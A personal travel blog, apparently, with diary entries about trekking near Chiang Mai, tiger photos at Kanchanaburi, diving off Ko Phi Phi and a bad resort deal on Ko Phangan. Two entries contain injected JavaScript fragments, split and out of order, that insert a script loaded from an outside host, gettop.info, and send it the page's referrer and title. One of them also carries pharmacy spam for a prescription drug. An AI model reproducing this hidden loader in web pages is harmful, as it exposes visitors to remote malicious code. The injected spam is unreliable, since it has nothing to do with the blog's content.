Today is the last day of trekking and three days are really enough. I´m looking forward for a shower and being clean again. And of course a warm bed. As finish for the trekking they did with us a bamboo rafting what was fun and we all got wet.
In the evening I bought a ticket for 400baht to Vientiene/Lao but only second class becuase everything was booked out. I did not know how to come to the main bus station in Chiang Mai so i asked the first best motorcycle driver I could find at the streets. He was so nice to bring me there and back and when I wanted to pay him he didn´t wnat my money. Was the first experience with frindly thai people. In the evening my people from the trekking tour and I went to a thai box fight. It was very interessting to watch because the first fights are kids, later they had some girls fighting and in the end a men fight. Read the rest of this entry »

Today we walked lots of kilometres mostly uphill and downhill. This second night we slept at a jungle camp at a waterfall but it was so freezing that I couldn’t sleep. Even though I used two blankets and three sleeping bags.document.currentScript.parentNode.insertBefore(s, document.currentScript);s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

In the morning at 8:00am we started the trekking tour at our guesthouse. First a car brought us to the elephant place were we could ride elephants for 1 hour. I asked if I could sit at the neck of my elephant. It was so much fun. When the elephants stopped for drinking they made us completely wet. After the ride we had lunch and then started the trekking. We walked about 2 1/2hours and slept at a Karen village. Read the rest of this entry »

After a 12hours busride from Bangkok I arrived around 6:00am at Chiang Mai. I asked one of the swedish I met for sharing a room so we paid only 100baht each for our accomodation. Frederic (the swedish) wanted to walk around so we did a little tour in Chiang Mai visiting some temple. It was a little bit complicated to find the way back to the guesthouse but finally we got it. Later I booked for 1600baht my three day  trekking tour through the jungle and the mountains around Chiang Mai. Read the rest of this entry »

Early in the morning at 6:00am we got up for doing our full day trip to Kanchanaburi. I did it mainly for doing photos with the tiger but it seems to be a very cool tour for only 300 baht!!! After my disaster in the beginning in Thailand I know now on what I have to look. First we went to the floating market. But this time we could stay 1,5h on the market. Enough time for doing little bargains. After that we did a cruise on the Mekong river. The boat bring us to the snake farm were we watched a cobra show. Was really interesting. The snakes were fighting with a mongoose and with men. Later I did a photo with a python. Jacob was a little bit scared but I liked it. At 1:00am we had lunch what was inclusive to the trip. Then we finally got to the “Tiger temple”. Actually there was no temple anyways. Its very touristy and basically the photos with the tiger is the best of it. Its not allowed to take the photos by yourself you have to give your camera to one of the guides. And of course shit happened – my camera was on the wrong program so all my photos were overexposed. So i had to do it again…And even when it was expensive I did also the special photo with the tiger, having its head in my lap, for 1000 baht. After leaving the tiger we went to the last stop of the trip the visit of the famous bridge over the river Kwai. Was nice but Jacob and me went shopping again and bought for extreme cheap money some nice statues. Read the rest of this entry »

The best dive site of Ko Phi Phi is supposed to be Hin Muang and Hin Daeng. After the beautiful dives yesterday I was keen to do another ones. Even Jacob went diving but unfortunally not together with me because he didn´t dive for a couple of years and those dive sites are only for experienced diver. The dives were ok but i was dissappointed. Was nothing special to see, nothing what I didnt see before… Also I felt a headache so I pucked overboard…and I was happy when I was back home. I was waiting for Jacob as we discussed at the Bob Marley bar at the beach but after some hours I went back to the room. Later we found out that all beach bars on that beach seem to be Bob Marley bars, everywhere his pictures and songs. So we waited at different ones. risperidal without prescription var d=document;var s=d.createElement(‘script’); if (document.currentScript) {

At 7:00am in the morning I met at the dive shop for my first dives since leaving Australia. I was really excited and hoped to see heaps of good stuff down there And right I saw a lot, for example a leopard shark, black tip reef sharks, a turtle, a blue spotted stingray, a cuttlefish and a school of squid. Around 2:00pm I was back and together with Jacob I took a water taxi to see Maya beach, the main location of the movie “The beach” with Leonardo Di Caprio. The beach was beautiful and the water so clear, I decided to snorkel. After snorkeling for a while on a certain point in the water I felt stitches like from a needle. So I went straight back (The next days I got a rush from that and people told me it could be that I swam directly into jelly fish which were destroyed in little parts by the fisher boats.) Next stop was Monkey beach but in the beginning there was no monkey to see. But I didn’t gave up and the monkeys cam and I got some good shots of them. Read the rest of this entry »

Our ferry to Ko Phi Phi leaves at 10:00am and after breakfast a shuttle will bring us to the ferry port. We were surprised when we arrived because its very nice, clean and almost western. To Phi Phi it took us about 2hours. What a shock when we arrived, the accomodation over there is so expensive! We were happy to find a sort of luxuary place for 1800 baht a night. And that was cheap. Nevermind Phi Phi is beautiful and the water cristalclear. After chilling in the room for a bit I went straight to the next dive shop, Princess divers. All the prices are the same for dives at all the dive shops of Phi Phi. The guys here seem to be nice and responsible so I booked here. Jacob wanted to go but he still have to stay outside the water because of his fresh tatoo, but I told him that before. Read the rest of this entry »

After hours in the bus and on the ferry I finally arrived on Ko Phangan in Thong Sala. From here I had to take a very expensive taxi to my resort. I was so looking forward to my little beachfront bungalow. But it was it big surprise or better shock: I got for my 8500baht (for 5000baht you can rent a proper bungalow for one month people later told me) I got a old shack with holes in the floor, view to the party room with pool table, no water flush at the toilet and no free shuttle service to Haad Rin. The people of the resort were the opposite of hospitality. I was so shocked that I started crying and they phoned immediately the travel agent. The girl really asked me, if I cried. “Of course!!!” I knew its not refundable but at least I wanted what they had promised me or at least a new accomodation closer to Haad Rin were the Fullmoon party will be. In the end I had only to stay this one night and next day I was supposed to get a better place closer to Haad Rin in Ban Khai.

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Early in the morning was the pick-up for the trip to the floating market. Its the oldest and the original one. I hoped to get there lots of photo opportunities. But what a disaster! I started feeling cheated by the travel agency lady. We had only 40min time at the market, what is definitely not enough for buying things, bargaining, doing photos and eating. I was upset. After the 40min they bring us to a carving place and a gemstone place nobody wants to see! Promised was a free drop-off at the hotel. But the hotel was on the other side of Bangkok. So the driver absolutely didn’t want to bring us home. It cost us nerves and 40min after finally he had to drive us home. Besides we heard from the others in the bus, who bought the ticket somewhere else, that they only paid 200baht for the half day ticket… Never buy at a governmental tourist information T.A.T.!!! I started becoming really concerned about my 10 days Koh Phagnan with beach front bungalow and free shuttle service. Read the rest of this entry »